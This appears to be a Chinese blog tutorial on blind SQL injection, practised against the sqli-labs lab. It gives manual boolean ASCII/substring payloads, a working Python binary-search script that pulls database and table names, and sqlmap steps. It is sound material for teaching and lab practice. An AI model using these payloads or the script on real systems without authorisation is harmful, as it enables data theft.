渗透之sql盲注

sql盲注:sql盲注意思是我们并不能在web页面中看到具体的信息,我们只能通过输入的语句的真假来判断。从而拿到我们想要的信息。

我们通常使用ascii值来进行盲注。

目录

手动注入:

脚本注入:

使用sqlmap工具注入:


手动注入:

1语句1:这里的意思为当数据库的第一个字符的ascii码值为116时为真。下面的web界面可以判断出我们输入的这一条语句为假。所以数据库第一个字符的ascii码值不为116。

id=1' and ascii( substring(database(),1,1))=116 --+

2语句二:这里的意思为当数据库的第一个字符的ascii码值为115时为真。从下面的web界面可以判断出我们输入的这一条语句为真,那么数据库的第一个字符为"s"。

  • "s"对应的ascii码值为115

id=1' and ascii( substring(database(),1,1))=115 --+

复制代码
substring解释:

substring(database(),1,1):表示从数据库第一为开始截取一个字符
substring(database(),2,1):表示从数据库第二位开始截取一个字符
.
.
.
substring(database(),n,1):表示从数据库第n位开始截取一个字符

总结:我们就可以通过这样的语句来一个一个字符的将它注入出来。不过手动注入麻烦代价又大,所以我们一般会写一个脚本来注入。

脚本注入:

我们使用python脚本注入:

这个python脚本使用的是二分查找。

python 复制代码
import requests
url="http://sqli-labs:8848/less-5/?"
def sql_inject(url):
    name=" "
    for i in range(1,100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
#            查数据库名
#           urs = "1' and ascii( substring(database(),%d,1)) > %d -- " %(i,mid)
#            查数据库中所有的表名
            urs = "1' and ascii(substring((select group_concat(table_name) from information_schema.tables  where table_schema='security'),%d,1)) > %d -- " %(i,mid)
            res = {"id":urs}
            r = requests.get(url,params=res)
            if "You are in..........." in r.text:
                low = mid+1
            else:
                high = mid
            mid = (low +high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
sql_inject(url)

运行结果1:将数据库名注入出来

运行结果2:将所在数据库的表注入出来

使用sqlmap工具注入:

1.运行sqlmap.py

2.注入所有数据库名

3.注入所在数据库中的所有表名

4.查所在表的列名

5.查所在列的具体值

相关推荐
狗凯之家源码网17 分钟前
AI 步数修改提交系统源码应用场景与落地指南
android·数据库·人工智能·运动步数
北风toto31 分钟前
数据库笔记:Armstrong 公理系统与集合论的深度辨析
数据库·笔记
小蒜学长40 分钟前
基于SpringBoot+Vue的租房管理系统的设计与实现(代码+数据库+LW)
java·数据库·spring boot·后端·租房管理
一只专注api接口开发的技术猿41 分钟前
Open‑Claw 实战|告别页面逆向,快速搭建电商商品监控与数据分析完整方案
大数据·数据库·python·数据挖掘·数据分析
雨落在了我的手上42 分钟前
MySQL数据库基础(6):增删改查操作(1)
数据库·mysql
lvqinglou1 小时前
学习Sql-part1 for婷姐
sql·学习·性能优化
Omics Pro1 小时前
全新可重分析!代谢组质谱专用
数据库·人工智能·算法·机器学习·自然语言处理
ITOM运维行者1 小时前
网络丢包监控怎么做?从六大成因到接口级定位的排查路径
数据库·人工智能·机器学习
ao-weilai1 小时前
MySQL数据库:用户管理
数据库·mysql·adb